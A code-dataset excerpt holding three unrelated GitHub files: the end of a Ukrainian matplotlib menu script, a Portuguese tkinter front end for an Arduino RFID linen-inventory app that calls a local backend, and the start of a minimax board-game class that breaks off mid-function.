побудувати графік\\n\"\n \"\\t2 - хочете побудувати прощину\")\n\n number = input(\">>> \").strip() # функція strip() прибирає випадкові пробіли\n if number == \"0\" or number == \"1\" or number == \"2\": # перевірка умови\n return number # повернення значення\n print(\"Ви ввели не те що потрібно. Слідкуйте за вказівками на екрані.\")\n return user_input() # почати спочатку\n\n\n\n\ndef menu():\n \"\"\"\n Функція яка містить основиний функціонал програми\n :return: графік\n \"\"\"\n option = user_input() # користувач вводить значення через додаткову функцію, яка перевіряє значення\n\n # Нижче навередий цикл, який перевіряє, що обрав користува\n if option == \"0\":\n print(\"Ви обрали вийти з програми. Бувайте\")\n sys.exit() # Моментальне закриття програми\n elif option == \"1\":\n print(\"Ви обрали функцію для побудови графіка функції\")\n\n Graph().math_line() # Наступний крок, побудова функції\n elif option == \"2\":\n print(\"Ви обрали функцію для побудови площини\")\n Space().space() # Наступний крок, побудова площини\n\n\n\n\n\nif __name__ == '__main__':\n print(title())\n while True:\n menu()\n","repo_name":"little-beetle/small-python-projects","sub_path":"matplotlip schedule/v.2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":22874,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"39659860159","text":"\nimport tkinter as tk\nimport tkinter.ttk as ttk\nimport requests\nfrom tkinter import messagebox\nfrom serial.tools import list_ports\nimport serial\nfrom time import sleep\nfrom collections import deque\nfrom threading import *\nfrom tkcalendar import DateEntry\n\nLARGEFONT = (\"Verdana\", 35)\nURL = \"http://127.0.0.1:9000\"\n\nUser = None\ncook = requests.Session()\ntags = None\ntotalNum = None\ndiscardedNum = None\navailableNum = None\ndirtyNum = None\nbedNum = None\nsheetNum = None\npillowcaseNum = None\nduvetNum = None\nbathNum = None\nbathtowelNum = None\nfacetowelNum = None\nbathmatNum = None\ncountFlag = 0\nmessageQueue = deque()\ninputList = []\nser = None\nt1 = None\nregTags = []\nunregTags = []\ntagsWarn = None\nregBtn = None\nchangeBtn = None\nitemList = []\n# tagsNum = None\n# countBtn = None\n# arduinoLabel = None\n\nsubcats = [\"Toalha de banho\", \"Toalha de rosto\", \"Tapete banheiro\",\"Lençol\", \"Fronha\", \"Edredom\"]\nsuppliers = [\"Fornecedor 1\",\"Fornecedor 2\",\"Fornecedor 3\",\"Fornecedor 4\"]\n\nclass tkinterApp(tk.Tk): #Criando a janela do tkinter\n\n def __init__(self, *args, **kwargs):\n\n tk.Tk.__init__(self, *args, **kwargs)\n self.geometry('800x600') #tamanho de tela\n self.title(\"CleanUp!\") #titulo\n container = ttk.Frame(self)\n container.pack(side=\"top\", fill=\"both\", expand=True)\n\n container.grid_rowconfigure(0, weight=1)\n container.grid_columnconfigure(0, weight=1)\n\n self.frames = {}\n\n for F in (LoginPage, Menu, TagList, TagCount,TagRegPage, TagChangePage, LogList): #Lista de Frames\n\n frame = F(container, self)\n\n self.frames[F] = frame\n # frame.grid(row=0, column=0)\n\n self.show_frame(LoginPage) #Iniciando com a página de Login\n\n def show_frame(self, cont): # Funcao para mostrar páginas\n frame = self.frames[cont] \n frame.pack( expand=True,fill=tk.NONE)\n if cont == TagList: # Se a pagina for a inventario, mandar solicitacao para o back e e preencher a pagina\n items = cook.get(URL+\"/get_tags\").json()\n m = 3\n for item in items:\n for j in range(len(item)-1):\n e = ttk.Label(frame,text=item[j])\n e.grid(row=m,column=j,padx=10,pady=10)\n m+=1\n elif cont == LogList: # Se a pagina for o log, mandar solicitacao para o back e e preencher a pagina\n logs = cook.get(URL+\"/get_log\").json()\n m=3\n for log in logs:\n for j in range(len(log)):\n e = ttk.Label(frame,text=log[j])\n e.grid(row=m,column=j,padx=10,pady=10)\n m+=1\n elif cont == TagChangePage:\n global regTags\n m = frame.updatePage()\n frame.renderChange(m)\n elif cont == Menu: # Se a pagina for o menu, atualizar dashboard\n global tags\n global totalNum\n global discardedNum\n global availableNum\n global dirtyNum\n global sheetNum\n global pillowcaseNum\n global duvetNum\n global bathNum\n global bathtowelNum\n global facetowelNum\n global bathmatNum\n tags = cook.get(URL+\"/total_tags\")\n tags = tags.json()\n items = tags\n total = items[\"total\"]\n discarded = items[\"discarded\"]\n available = items[\"available\"]\n dirty = items[\"dirty\"]\n bed = items[\"bed\"]\n sheet = items[\"bed_items\"][\"Lençol\"]\n pillowcase = items[\"bed_items\"][\"Fronha\"]\n duvet = items[\"bed_items\"][\"Edredom\"]\n bath = items[\"bath\"]\n bathtowel = items[\"bath_items\"][\"Toalha de banho\"]\n facetowel = items[\"bath_items\"][\"Toalha de rosto\"]\n bathmat = items[\"bath_items\"][\"Tapete banheiro\"]\n totalNum['text']=total\n discardedNum['text'] = discarded\n availableNum['text'] = available\n dirtyNum['text'] = dirty\n bedNum['text'] = bed\n sheetNum['text'] = sheet\n pillowcaseNum['text']=pillowcase\n duvetNum['text'] = duvet\n bathNum['text'] = bath\n bathtowelNum[\"text\"] = bathtowel\n facetowelNum[\"text\"] = facetowel\n bathmatNum['text'] = bathmat\n # elif cont == tagCount:\n # global tagsNum\n # global countBtn\n # global arduinoLabel\n # setArduino(arduinoLabel,countBtn)\n # updateTagLabel(tagsNum)\n\nclass LoginPage(tk.Frame):\n\n def __init__(self, parent, controller):\n self.err = None\n tk.Frame.__init__(self, parent)\n \n title = ttk.Label(self, text=\"Clean UP\", font=LARGEFONT)\n # title.grid(row=0, column=4, padx=10, pady=10,sticky=\"N\")\n title.grid(row=0, padx=10, pady=10, sticky=\"N\")\n\n self.loginWarning = ttk.Label(self, text=None, foreground='#FF0000')\n\n userLabel = ttk.Label(self, text=\"Usuário\")\n userLabel.grid(row=2, padx=10, pady=10)\n\n self.userEntry = ttk.Entry(self)\n self.userEntry.grid(row=3, padx=10)\n\n pwdLabel = ttk.Label(self, text=\"Senha\")\n pwdLabel.grid(row=4, padx=10, pady=10)\n\n self.pwdEntry = ttk.Entry(self, show=\"*\")\n self.pwdEntry.grid(row=5, padx=10)\n\n lgnButton = ttk.Button(self, text=\"LOGIN\",\n command=lambda: self.login(controller))\n\n lgnButton.grid(row=6, padx=10, pady=10)\n\n def login(self, controller): #funcao pra realizar login\n global User\n user_id = self.userEntry.get()\n pwd = self.pwdEntry.get()\n user_data = {\n \"user_id\": user_id,\n \"pwd\": pwd\n }\n try:\n r = cook.post(URL+\"/login\", json=(user_data), verify=True)\n err = r.json()[\"error_message\"]\n if r.json()[\"error_message\"] == \"Logado!\":\n User = r.json()[\"user\"]\n self.changePage(controller)\n self.loginWarning['text'] = \"\"\n else:\n self.loginWarning['text'] = err\n self.loginWarning.grid(row=1, padx=10, pady=10)\n # messagebox.showinfo(\"Alerta\", err)\n except:\n err = \"Problema ao se conectar ao servidor!\"\n self.loginWarning['text'] = err\n self.loginWarning.grid(row=1, padx=10, pady=10)\n # messagebox.showinfo(\"Alerta\", err)\n\n def changePage(self, controller): # apagar pagina atual e mostrar o menu\n self.pack_forget()\n controller.show_frame(Menu)\n \nclass Menu(tk.Frame):\n\n def __init__(self, parent, controller):\n global totalNum\n global discardedNum\n global availableNum\n global dirtyNum\n global bedNum\n global sheetNum\n global pillowcaseNum\n global duvetNum\n global bathNum\n global bathtowelNum\n global facetowelNum\n global bathmatNum\n\n ttk.Frame.__init__(self, parent)\n \n menuFrame = ttk.Labelframe(self, text=\"Menu\")\n # menuFrame.grid(row=0, column=0, padx=10, pady=10, sticky=\"W\")\n menuFrame.grid(row=0,padx=10,pady=10,sticky=tk.W)\n\n countTagButton = ttk.Button(menuFrame,text=\"Ler Tags\", command= lambda: self.countTags(controller))\n countTagButton.grid(row=0,padx=10,pady=10,sticky=tk.W)\n\n tagListButton = ttk.Button(menuFrame,text=\"Lista de items\",command= lambda: self.seeTags(controller))\n tagListButton.grid(row=1,padx=10,pady=10,sticky=tk.W)\n\n adminDash = ttk.Labelframe(self,text=\"Dashboard Administrativo\")\n adminDash.grid(row=1,padx=10,pady=10,sticky=tk.W)\n\n userRegButton = ttk.Button(adminDash,text=\"Cadastrar Usuários\") # Nao deu tempo de incluir a funcionalidade de cadastrar usuarios no tkinter\n userRegButton.grid(row=0,padx=10,pady=10,sticky=tk.W)\n\n logButton = ttk.Button(adminDash,text=\"Histórico de Eventos\", command=lambda: self.seeLog(controller))\n logButton.grid(row=2,padx=10,pady=10,sticky=tk.W)\n \n logoutButton = ttk.Button(self,text=\"LOGOUT\",command=lambda: self.logout_request(controller))\n logoutButton.grid(row=2,padx=10,pady=10)\n\n statsFrame = ttk.Labelframe(self,text=\"Estatísticas\")\n statsFrame.grid(row=0,rowspan=2,column=1,padx=10,pady=10,sticky=tk.W)\n\n totalLabel = ttk.Label(statsFrame,text=\"Total:\")\n totalLabel.grid(row=0,column=0,padx=10,pady=10,sticky=tk.W)\n\n totalNum = ttk.Label(statsFrame,text=\"##\")\n totalNum.grid(row=0,column=1,padx=10,pady=10,sticky=tk.W)\n\n discardedLabel = ttk.Label(statsFrame,text=\"Descartados:\")\n discardedLabel.grid(row=0,column=2,padx=10,pady=10,sticky=tk.W)\n\n discardedNum = ttk.Label(statsFrame,text=\"##\")\n discardedNum.grid(row=0,column=3,padx=10,pady=10,sticky=tk.W)\n\n availableLabel = ttk.Label(statsFrame,text=\"Disponíveis:\")\n availableLabel.grid(row=1,column=0,padx=10,pady=10,sticky=tk.W)\n\n availableNum = ttk.Label(statsFrame,text=\"##\")\n availableNum.grid(row=1,column=1,padx=10,pady=10,sticky=tk.W)\n\n dirtyLabel = ttk.Label(statsFrame, text=\"Itens em lavanderia:\")\n dirtyLabel.grid(row=1,column=2,padx=10,pady=10,sticky=tk.W)\n\n dirtyNum = ttk.Label(statsFrame,text=\"##\")\n dirtyNum.grid(row=1,column=3,padx=10,pady=10,sticky=tk.W)\n\n bedLabel = ttk.Label(statsFrame, text=\"Itens de Cama:\")\n bedLabel.grid(row=2,column=0,padx=10,pady=10,sticky=tk.W)\n \n bedNum = ttk.Label(statsFrame,text=\"##\")\n bedNum.grid(row=2,column=1,padx=10,pady=10,sticky=tk.W)\n\n sheetLabel = ttk.Label(statsFrame,text=\"Lençol:\")\n sheetLabel.grid(row=2,column=2,padx=10,pady=10,sticky=tk.W)\n\n sheetNum = ttk.Label(statsFrame,text=\"##\")\n sheetNum.grid(row=2,column=3,padx=10,pady=10,sticky=tk.W)\n\n pillowcaseLabel = ttk.Label(statsFrame,text=\"Fronha:\")\n pillowcaseLabel.grid(row=2,column=4,padx=10,pady=10,sticky=tk.W)\n\n pillowcaseNum = ttk.Label(statsFrame, text=\"##\")\n pillowcaseNum.grid(row=2,column=5,padx=10,pady=10,sticky=tk.W)\n\n duvetLabel = ttk.Label(statsFrame,text=\"Edredom:\")\n duvetLabel.grid(row=2,column=6,padx=10,pady=10,sticky=tk.W)\n\n duvetNum = ttk.Label(statsFrame,text=\"##\")\n duvetNum.grid(row=2,column=7,padx=10,pady=10,sticky=tk.W)\n\n bathLabel = ttk.Label(statsFrame, text=\"Itens de Banho:\")\n bathLabel.grid(row=3,column=0,padx=10,pady=10,sticky=tk.W)\n\n bathNum = ttk.Label(statsFrame,text=\"##\")\n bathNum.grid(row=3,column=1,padx=10,pady=10,sticky=tk.W)\n\n bathtowelLabel = ttk.Label(statsFrame,text=\"Toalha de Banho:\")\n bathtowelLabel.grid(row=3,column=2,padx=10,pady=10,sticky=tk.W)\n\n bathtowelNum = ttk.Label(statsFrame,text=\"##\")\n bathtowelNum.grid(row=3,column=3,padx=10,pady=10,sticky=tk.W)\n\n facetowelLabel = ttk.Label(statsFrame,text=\"Toalha de Rosto:\")\n facetowelLabel.grid(row=3,column=4,padx=10,pady=10,sticky=tk.W)\n\n facetowelNum = ttk.Label(statsFrame,text=\"##\")\n facetowelNum.grid(row=3,column=5,padx=10,pady=10,sticky=tk.W)\n\n bathmatLabel = ttk.Label(statsFrame,text=\"Tapete banheiro:\")\n bathmatLabel.grid(row=3,column=6,padx=10,pady=10,sticky=tk.W)\n\n bathmatNum = ttk.Label(statsFrame,text=\"##\")\n bathmatNum.grid(row=3,column=7,padx=10,pady=10,sticky=tk.W)\n\n def seeTags(self,controller): #ir para inventario\n self.pack_forget()\n\n controller.show_frame(TagList)\n \n def countTags(self,controller): #ir para contagem de tags\n self.pack_forget()\n\n controller.show_frame(TagCount)\n\n def seeLog(self,controller): # ir para o historico de eventos\n self.pack_forget()\n controller.show_frame(LogList)\n\n def total_tags(self):\n\n r = cook.get(URL+\"/total_tags\")\n tags = r.json()\n\n return tags\n\n def logout_request(self,controller): #funcao de logout\n try:\n cook.post(URL+\"/logout\")\n self.pack_forget()\n controller.show_frame(LoginPage)\n except:\n err = \"Problema ao se conectar ao servidor!\"\n messagebox.showinfo(\"Alerta\", err)\n\nclass TagList(tk.Frame): #Frame de Inventario\n #(tag_id,aquisition_date, category, sub_category, supplier, clean, damage, status, staff_name) Cola de categorias para imprimir\n def __init__(self, parent, controller):\n\n ttk.Frame.__init__(self, parent)\n\n cats = [\"ID\",\"Data de Aquisição\",\"Categoria\",\"Subcategoria\",\"Fornecedor\",\"Limpo?\",\"Danificado?\",\"Status\"]\n \n returnBtn = ttk.Button(self,text=\"Voltar\", command=lambda: self.returnMenu(controller))\n returnBtn.grid(row=0,padx=10,pady=10)\n\n label = ttk.Label(self, text=\"INVENTÁRIO\", font=LARGEFONT)\n label.grid(row=1, padx=10, pady=10,columnspan=len(cats), sticky=\"N\")\n\n i=0\n for cat in cats:\n e = ttk.Label(self,text=cat)\n e.grid(row=2,column=i,padx=10,pady=10)\n i+=1\n\n def returnMenu(self,controller): # retornar para o menu\n self.pack_forget()\n controller.show_frame(Menu)\n\nclass TagCount(tk.Frame): # contagem de tags\n\n def __init__(self, parent, controller):\n global tagsWarn\n global regBtn\n global changeBtn\n # global tagsNum\n # global countBtn\n # global arduinoLabel\n ttk.Frame.__init__(self, parent)\n\n label = ttk.Label(self, text=\"Leitura de tags\", font=LARGEFONT)\n label.grid(row=0, padx=10, pady=10, sticky=tk.N)\n\n arduinoLabel = ttk.Label(self,text=\"Aguardando...\")\n arduinoLabel.grid(row=1, padx=10, pady=10, sticky=tk.N)\n\n tagsLabel = ttk.Label(self,text=\"Número de tags lidas: \")\n tagsLabel.grid(row=2,column=0,padx=10,pady=10,sticky=tk.W)\n\n tagsNum = ttk.Label(self,text=\"0\")\n tagsNum.grid(row=2,column=1,padx=10,pady=10)\n\n countBtn = ttk.Button(self,text=\"Contar\", command=lambda: startCount(countBtn,tagsNum))\n countBtn.grid(row=3,padx=10,pady=10)\n\n tagsWarn = ttk.Label(self, text=None, foreground='#FF0000')\n tagsWarn.grid(row=4,padx=10,pady=10)\n\n changeBtn = ttk.Button(self,text=\"Visualizar tags registradas\", command=lambda: self.goToChange(controller))\n changeBtn.grid(row=5,padx=10,pady=10)\n changeBtn.state(['disabled'])\n\n regBtn = ttk.Button(self,text=\"Registrar tags\", command=lambda: self.goToReg(controller))\n regBtn.grid(row=6,padx=10,pady=10) \n regBtn.state(['disabled'])\n\n\n returnBtn = ttk.Button(self,text=\"Voltar\", command=lambda: self.returnMenu(controller))\n returnBtn.grid(row=7,padx=10,pady=10)\n\n updateTagLabel(tagsNum) #funcao que atualiza o contador de tags lidas\n setArduino(arduinoLabel,countBtn) #funcao que atualiza o status de conexao com o arduino\n\n def returnMenu(self,controller): #volta para o menu\n # stopCount(button,label)\n self.pack_forget()\n controller.show_frame(Menu)\n\n def goToReg(self,controller): # vai para o registro de tags\n self.pack_forget()\n controller.show_frame(TagRegPage)\n\n def goToChange(self,controller): #vai para a visualizacao e alteracao de tags\n self.pack_forget()\n global regTags\n # m = 4\n # for regTag in regTags:\n # for j in range(len(regTag[0])-1):\n # print(regTag)\n # print(regTag[0][0])\n # e = ttk.Label(se,text=regTag[0][j])\n # e.grid(row=m,column=j,padx=10,pady=10)\n # m+=1\n controller.show_frame(TagChangePage)\n\nclass TagRegPage(tk.Frame): #pagina de registro de tags\n\n def __init__(self, parent, controller):\n self.err = None\n tk.Frame.__init__(self, parent)\n \n title = ttk.Label(self, text=\"Registro de Tags\", font=LARGEFONT)\n title.grid(row=0,columnspan=2, padx=10, pady=10, sticky=\"N\")\n\n returnBtn = ttk.Button(self,text=\"Voltar\", command=lambda: self.returnPage(controller))\n returnBtn.grid(row=1,columnspan=2,padx=10,pady=10)\n\n self.regWarning = ttk.Label(self, text=None, foreground='#FF0000')\n self.regWarning.grid(row=2,padx=10,pady=10)\n\n aqDate = ttk.Label(self,text=\"Data de aquisição: \")\n aqDate.grid(row=3,column=0,padx=10,pady=10)\n\n cal = DateEntry(self,selectmode='day')\n cal.grid( row=3,column=1,padx=10,pady=10)\n\n catLabel = ttk.Label(self,text=\"Categoria:\")\n catLabel.grid(row=4,column=0,padx=10,pady=10)\n\n cat = tk.StringVar(self)\n catMenu = ttk.OptionMenu(self,cat,*subcats)\n catMenu.grid(row=4,column=1,padx=10,pady=10)\n\n supLabel = ttk.Label(self,text=\"Fornecedor:\")\n supLabel.grid(row=5,column=0,padx=10,pady=10)\n\n sup = tk.StringVar(self)\n supMenu = ttk.OptionMenu(self,sup,*suppliers)\n supMenu.grid(row=5,column=1,padx=10,pady=10)\n\n clean = tk.IntVar(self)\n cleanLabel = ttk.Label(self,text=\"Limpo?\")\n cleanLabel.grid(row=6,column=0,padx=10,pady=10)\n\n cleanCheck = ttk.Checkbutton(self,variable=clean,onvalue=1,offvalue=0)\n cleanCheck.grid(row=6,column=1,padx=10,pady=10)\n\n damage = tk.IntVar(self)\n dmgLabel = ttk.Label(self,text=\"Danificado?\")\n dmgLabel.grid(row=7,column=0,padx=10,pady=10)\n\n dmgCheck = ttk.Checkbutton(self,variable=damage,onvalue=1,offvalue=0)\n dmgCheck.grid(row=7,column=1,padx=10,pady=10)\n\n status = tk.IntVar(self)\n statusLabel = ttk.Label(self,text=\"Ativo?\")\n statusLabel.grid(row=8,column=0,padx=10,pady=10)\n\n statusCheck = ttk.Checkbutton(self,variable=status,onvalue=1,offvalue=0)\n statusCheck.grid(row=8,column=1,padx=10,pady=10)\n\n submitBtn = ttk.Button(self,text=\"Registrar Tags\", command=lambda: self.submit(cal,cat,sup,clean,damage,status))\n submitBtn.grid(row=9,column=0,columnspan=2,padx=10,pady=10)\n \n def returnPage(self,controller): #retorno para a pagina de contagem de tags\n self.pack_forget()\n controller.show_frame(TagCount)\n\n def submit(self, date, cat, sup, clean, damage, status): #funcao que se comunica com o back e envia o json para registro das tags\n\n body = {\n \"tag_list\": unregTags,\n \"aquisition_date\": date.get(),\n \"category\": cat.get(),\n \"supplier\": sup.get(),\n \"clean\": clean.get(),\n \"damage\": damage.get(),\n \"status\": status.get()\n }\n r = cook.post(URL+\"/reg_tags\", json=(body), verify=True)\n sleep(1)\n \n self.regWarning['text'] = r.json()[\"message\"]\n \nclass TagChangePage(tk.Frame): # frame de visualizacao e alteracao de tags\n\n def __init__(self, parent, controller):\n self.err = None\n self.cont = controller\n tk.Frame.__init__(self, parent)\n \n cats = [\"ID\",\"Data de Aquisição\",\"Categoria\",\"Subcategoria\",\"Fornecedor\",\"Limpo?\",\"Danificado?\",\"Status\"]\n\n returnBtn = ttk.Button(self,text=\"Voltar\", command=lambda: self.returnPage(controller))\n returnBtn.grid(row=0,padx=10,pady=10)\n\n title = ttk.Label(self, text=\"Visualização de Tags\", font=LARGEFONT)\n title.grid(row=1,columnspan=len(cats), padx=10, pady=10, sticky=\"N\")\n\n \n\n self.regWarning = ttk.Label(self, text=None, foreground='#FF0000')\n self.regWarning.grid(row=2,padx=10,pady=10)\n\n\n\n i=0\n for cat in cats:\n e = ttk.Label(self,text=cat)\n e.grid(row=3,column=i,padx=10,pady=10)\n i+=1\n\n def returnPage(self,controller): # retorno para a contagem de tags\n self.pack_forget()\n controller.show_frame(TagCount)\n\n def renderChange(self,m): # criar widgets de alteracao de tags apos a lista ser printada\n \n events = [\"Limpa\",\"Suja\",\"Ativa\",\"Inativa\",\"Danificada\",\"Restaurada\"]\n\n changeLabel = ttk.Label(self,text=\"Alterar Tag\")\n changeLabel.grid(row=m,padx=10,pady=10)\n tagVals = []\n tag = tk.StringVar(self)\n for regTag in regTags:\n tagVals.append(regTag[0][0])\n\n tagLabel = ttk.Label(self,text=\"Tag: \")\n tagLabel.grid(row=m+1,column=0,padx=10,pady=10)\n tagOption = ttk.OptionMenu(self,tag,*tagVals)\n tagOption.grid(row=m+1,column=1,padx=10,pady=10)\n \n event = tk.StringVar(self)\n eventLabel = ttk.Label(self,text=\"Evento: \")\n eventLabel.grid(row=m+2,column=0,padx=10,pady=10)\n eventOption = ttk.OptionMenu(self,event,*events)\n eventOption.grid(row=m+2,column=1,padx=10,pady=10)\n\n subBtn = ttk.Button(self,text=\"Alterar\",command=lambda: self.submitChange(tag,event))\n subBtn.grid(row=m+3,padx=10,pady=10)\n\n def submitChange(self,tag,event): # funcao que se comunica com o back para submeter as alteracoes\n tag = tag.get()\n event = event.get()\n body = {\n \"tag\": tag,\n \"event\": event\n }\n print(body)\n r = cook.post(URL+\"/change_tags\", json=(body), verify=True)\n if r.text == \"OK\":\n self.regWarning['text']=\"Alterado com sucesso!\"\n\n\n def updatePage(self): #funcao que atualiza a pagina, no momento não funciona e não tivemos tempo de ajeitar.\n global regTags\n global itemList\n m = 4\n for item in itemList:\n item.grid_forget()\n for regTag in regTags:\n for j in range(len(regTag[0])-1):\n print(regTag)\n print(regTag[0][0])\n e = ttk.Label(self,text=regTag[0][j])\n itemList.append(e)\n e.grid(row=m,column=j,padx=10,pady=10)\n\n m+=1\n \n return m\n\n\nclass LogList(tk.Frame): # Frame de Log de eventos\n #(tag_id,event,date,staffname)\n def __init__(self, parent, controller):\n\n ttk.Frame.__init__(self, parent)\n\n cats = [\"ID\",\"Evento\",\"Data\",\"Nome\"]\n \n returnBtn = ttk.Button(self,text=\"Voltar\", command=lambda: self.returnMenu(controller))\n returnBtn.grid(row=0,padx=10,pady=10)\n\n label = ttk.Label(self, text=\"HISTÓRICO\", font=LARGEFONT)\n label.grid(row=1, padx=10, pady=10,columnspan=len(cats), sticky=\"N\")\n\n i=0\n for cat in cats:\n e = ttk.Label(self,text=cat)\n e.grid(row=2,column=i,padx=10,pady=10)\n i+=1\n\n def returnMenu(self,controller): #retorno para o menu\n self.pack_forget()\n controller.show_frame(Menu)\n\n\ndef startCount(btn,label): # funcao que inicia a contagem das tags\n global countFlag \n global t1\n global tagsWarn\n tagsWarn['text'] = \" \" \n countFlag = 0\n label['text'] = 0\n btn.configure(text = \"Parar\", command = lambda: stopCount(btn,label))\n if t1 is not None:\n t1.join()\n t1 = Thread(target = readTags) # Tivemos que criar uma Thread para rodar a funcao de leitura, pois como esta roda em loop, quebraria o mainloop da janela do tkinter.\n t1.setDaemon(True)\n t1.start()\n \ndef stopCount(btn,label):\n global countFlag\n global inputList\n \n countFlag = 1\n btn.configure(text = \"Contar\", command = lambda: startCount(btn,label))\n if len(inputList) != 0:\n checkTags(inputList) # ao parar a contagem, checar as tags\n\ndef checkTags(tagList): # funcao que checa se as tags lidas estão registradas ou nao\n global unregTags\n global regTags\n global tagsWarn\n global changeBtn\n global regBtn\n body = {\n \"tags\": tagList\n }\n r = cook.post(URL+\"/check_tags\",json=(body),verify=True)\n unregTags = r.json()[\"non_registered\"]\n regTags = r.json()[\"registered\"]\n if len(unregTags) > 0 and len(regTags) > 0:\n tagsWarn['text'] = f\"{len(unregTags)} tags não registradas e {len(regTags)} tags registradas foram detectadas\"\n changeBtn.state(['!disabled'])\n regBtn.state(['!disabled'])\n elif len(unregTags) > 0:\n tagsWarn['text'] = f\"{len(unregTags)} tags não registradas foram detectadas\"\n changeBtn.state(['disabled'])\n regBtn.state(['!disabled'])\n elif len(regTags) > 0:\n tagsWarn['text'] = f\"{len(regTags)} tags registradas foram detectadas\"\n changeBtn.state(['!disabled'])\n regBtn.state(['disabled'])\n \ndef readTags(): #funcao de leitura de tags, utilizamos a biblioteca PySerial para se conectar a porta Serial do arduino\n global countFlag\n global inputList\n global ser\n inputList = []\n port = findArduinoPort()\n if ser is not None:\n ser.close()\n sleep(1)\n ser = serial.Serial(port, 9600, timeout=1)\n while countFlag == 0:\n serBytes = ser.readline()\n if countFlag == 0:\n decodedBytes = str(serBytes[1:len(serBytes)-2].decode(\"utf-8\")).replace(' ','')\n if inputList.count(decodedBytes) == 0 and decodedBytes != '':\n inputList.append(decodedBytes)\n messageQueue.append(len(inputList))\n sleep(1)\n print(f'Added {decodedBytes} to the read tags list.')\n\ndef setArduino(label,button): #funcao que roda a cada 1s e checa o status de conexao com o arduino\n global countFlag\n port = findArduinoPort()\n if port is not None:\n label['text'] = f'Arduino conectado na porta {port}'\n button.state(['!disabled'])\n else:\n label['text'] = 'Arduino não está conectado'\n # stopCount(button,label2)\n button.state(['disabled'])\n \n label.after(1000,setArduino,label,button)\n\ndef findArduinoPort(): # Provavelmente teria uma maneira mais rapida de realizar isso, mas como nosso membros diferem de sistemas operacionais, esta função compara o parametro em comum que explicita que é um arduino que está conectado\n devices = list(list_ports.comports())\n for device in devices:\n manufacturer = device.manufacturer\n if manufacturer is not None and 'arduino' in manufacturer.lower():\n return device.device\n\ndef updateTagLabel(num): # funcao que roda a cada 1s e faz update do numero de tags lidas\n try:\n num['text'] = messageQueue.popleft()\n except IndexError: pass\n num.after(1000,updateTagLabel,num)\n\n\nif __name__ == '__main__':\n app = tkinterApp() #Iniciando o tkinter\n \n\n app.mainloop()\n","repo_name":"diegopluna/cleanup-front","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":26484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"71631295195","text":"import copy\nimport random\n\nfrom Board import Board\nfrom Player import Player\n\n\nclass Game:\n def __init__(self, N=10, min_x=None, min_y=None, max_x=None, max_y=None):\n self.gameBoard = Board(N, min_x, min_y, max_x, max_y)\n if min_x is None:\n min_x = 0\n if min_y is None:\n min_y = 0\n if max_x is None:\n max_x = N-1\n if max_y is None:\n max_y = N-1\n\n self.MIN = Player(2, min_x, min_y)\n self.MAX = Player(3, max_x, max_y)\n\n self.actualPlayer = self.MAX\n\n #true -> move is possible\n #false -> move is not possible\n def gameStatus(self):\n possibleMovesVectors = self.possibleMoves()\n\n if len(possibleMovesVectors) != 0:\n return True\n else:\n return False\n\n def isGameOver(self, board, player):\n possibleMovesVectors = self.possibleMoves(board, player)\n\n if len(possibleMovesVectors) != 0:\n return False\n else:\n return True\n\n def possibleMoves(self, boardToCheck = None, playerToCheck = None):\n if boardToCheck is None:\n boardToCheck = self.gameBoard\n\n if playerToCheck is None:\n playerToCheck = self.actualPlayer\n\n possibleMovesVectors = []\n for vectorX in range(-1, 2):\n for vectorY in range(-1, 2):\n if vectorX == 0 and vectorY == 0:\n continue\n newPositionX = playerToCheck.x + vectorX\n newPositionY = playerToCheck.y + vectorY\n\n if newPositionX < 0 or newPositionX > len(boardToCheck.board) - 1:\n continue\n\n if newPositionY < 0 or newPositionY > len(boardToCheck.board[0]) - 1:\n continue\n\n if boardToCheck.board[newPositionX][newPositionY] == 0:\n possibleMovesVectors.append((vectorX, vectorY))\n\n return possibleMovesVectors\n\n def possibleBoardConfigurations(self, boardToCheck = None, playerToCheck = None):\n if boardToCheck is None:\n boardToCheck = self.gameBoard\n\n if playerToCheck is None:\n playerToCheck = self.actualPlayer\n\n configurations = []\n moves = self.possibleMoves(boardToCheck, playerToCheck)\n\n for moveFromPossiblePlace in moves:\n possibleBoard = boardToCheck\n possiblePlayer = playerToCheck\n newBoardConfig = copy.deepcopy(possibleBoard)\n playerToSimulateMove = copy.deepcopy(possiblePlayer)\n playerToSimulateMove.move(newBoardConfig, moveFromPossiblePlace[0], moveFromPossiblePlace[1])\n configurations.append(newBoardConfig)\n return configurations\n\n def switchPlayer(self):\n if self.actualPlayer == self.MAX:\n self.actualPlayer = self.MIN\n else:\n self.actualPlayer = self.MAX\n return\n\n def heuristics(self, board, player, opponent):\n\n playerPossibleMoves = len(self.possibleMoves(board, player))\n enemyPossibleMoves = len(self.possibleMoves(board, opponent))\n\n mark = playerPossibleMoves - enemyPossibleMoves\n return mark\n\n\n def miniMax(self, board, player, opponent, depth):\n if depth == 0:\n return self.heuristics(board, player, opponent)\n if self.isGameOver(board, player):\n return self.heuristics(board, player, opponent)\n\n\n\n if player.symbol == 3: #symbol 3 means MAX player\n bestValue = -100000\n for newBoard in self.possibleBoardConfigurations(board, player):\n value = self.miniMax(newBoard, opponent, player, depth - 1)\n if value > bestValue:\n bestValue = value\n\n return bestValue\n\n if player.symbol == 2: #symbol 2 means MIN player\n bestValue = 100000\n for newBoard in self.possibleBoardConfigurations(board, player):\n value = self.miniMax(newBoard, opponent, player, depth - 1)\n if value < bestValue:\n bestValue = value\n\n return bestValue\n\n\n def inWhichWayGo(self, board, player, depth):\n bestScoreMAX = -1000000\n bestScoreMIN = 1000000\n bestMove = None\n for move in self.possibleMoves(board, player):\n temporaryBoard = copy.deepcopy(board)\n playerToSimulateMove = copy.deepcopy(player)\n\n if playerToSimulateMove.symbol == 3:\n playerToSimulateMoveOpponent = copy.deepcopy(self.MIN)\n else:\n playerToSimulateMoveOpponent = copy.deepcopy(self.MAX)\n\n playerToSimulateMove.move(temporaryBoard, move[0], move[1])\n score = self.miniMax(temporaryBoard, playerToSimulateMove, playerToSimulateMoveOpponent, depth)\n if score is None:\n score = 0\n\n if playerToSimulateMove.symbol == 3:\n if score > bestScoreMAX:\n bestMove = move\n\n if playerToSimulateMove.symbol == 2:\n if score < bestScoreMIN:\n bestMove = move\n return bestMove\n\n\n\n def chooseRandomMove(self):\n possibleMovesVectors = self.possibleMoves()\n print(possibleMovesVectors)\n randomMove = random.choice(possibleMovesVectors)\n 